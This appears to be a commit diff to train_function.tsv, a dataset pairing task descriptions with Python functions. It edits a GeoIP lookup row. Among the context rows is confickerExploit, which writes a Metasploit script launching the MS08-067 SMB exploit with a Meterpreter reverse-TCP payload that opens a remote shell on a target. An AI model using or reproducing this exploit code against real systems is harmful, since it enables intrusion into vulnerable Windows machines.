Update train_function.tsv
Browse files- train_function.tsv +1 -1
train_function.tsv
CHANGED
@@ -109,7 +109,7 @@ For all entries in pcap get the source or the destination of the IP packet "def
|
|
109 |
"
|
110 |
Given a pkt, extract the IP and test the time to live "def testTTL(pkt): \n try: \n if pkt.haslayer(IP): \n ipsrc = pkt.getlayer(IP).src \n ttl = str(pkt.ttl) \n checkTTL(ipsrc, ttl) \n except: \n pass \n
|
111 |
"
|
112 |
-
Get a string composed of country and city if it exists given an IP,
|
113 |
"
|
114 |
Write a configFile with the lines: 'use exploit/windows/smb/ms08_067_netapi\n', 'set RHOST ' + str(tgtHost) + '\n', 'set payload '+'windows/meterpreter/reverse_tcp\n', 'set LPORT ' + str(lport) + '\n', 'set LHOST ' + lhost + '\n' and 'exploit -j -z\n' "def confickerExploit(configFile,tgtHost,lhost,lport): \n configFile.write('use exploit/windows/smb/ms08_067_netapi\n') \n configFile.write('set RHOST ' + str(tgtHost) + '\n') \n configFile.write('set payload '+\ \n 'windows/meterpreter/reverse_tcp\n') \n configFile.write('set LPORT ' + str(lport) + '\n') \n configFile.write('set LHOST ' + lhost + '\n') \n configFile.write('exploit -j -z\n') \n
|
115 |
"
|
|
|
109 |
"
|
110 |
Given a pkt, extract the IP and test the time to live "def testTTL(pkt): \n try: \n if pkt.haslayer(IP): \n ipsrc = pkt.getlayer(IP).src \n ttl = str(pkt.ttl) \n checkTTL(ipsrc, ttl) \n except: \n pass \n
|
111 |
"
|
112 |
+
Get a string composed of country and city if it exists given an IP, except return 'Unregistered' "def retGeoStr(ip): \n try: \n rec = gi.record_by_name(ip) \n city = rec['city'] \n country = rec['country_code3'] \n if city != '': \n geoLoc = city + ', ' + country \n else: \n geoLoc = country \n return geoLoc \n except Exception, e: \n return 'Unregistered' \n
|
113 |
"
|
114 |
Write a configFile with the lines: 'use exploit/windows/smb/ms08_067_netapi\n', 'set RHOST ' + str(tgtHost) + '\n', 'set payload '+'windows/meterpreter/reverse_tcp\n', 'set LPORT ' + str(lport) + '\n', 'set LHOST ' + lhost + '\n' and 'exploit -j -z\n' "def confickerExploit(configFile,tgtHost,lhost,lport): \n configFile.write('use exploit/windows/smb/ms08_067_netapi\n') \n configFile.write('set RHOST ' + str(tgtHost) + '\n') \n configFile.write('set payload '+\ \n 'windows/meterpreter/reverse_tcp\n') \n configFile.write('set LPORT ' + str(lport) + '\n') \n configFile.write('set LHOST ' + lhost + '\n') \n configFile.write('exploit -j -z\n') \n
|
115 |
"
|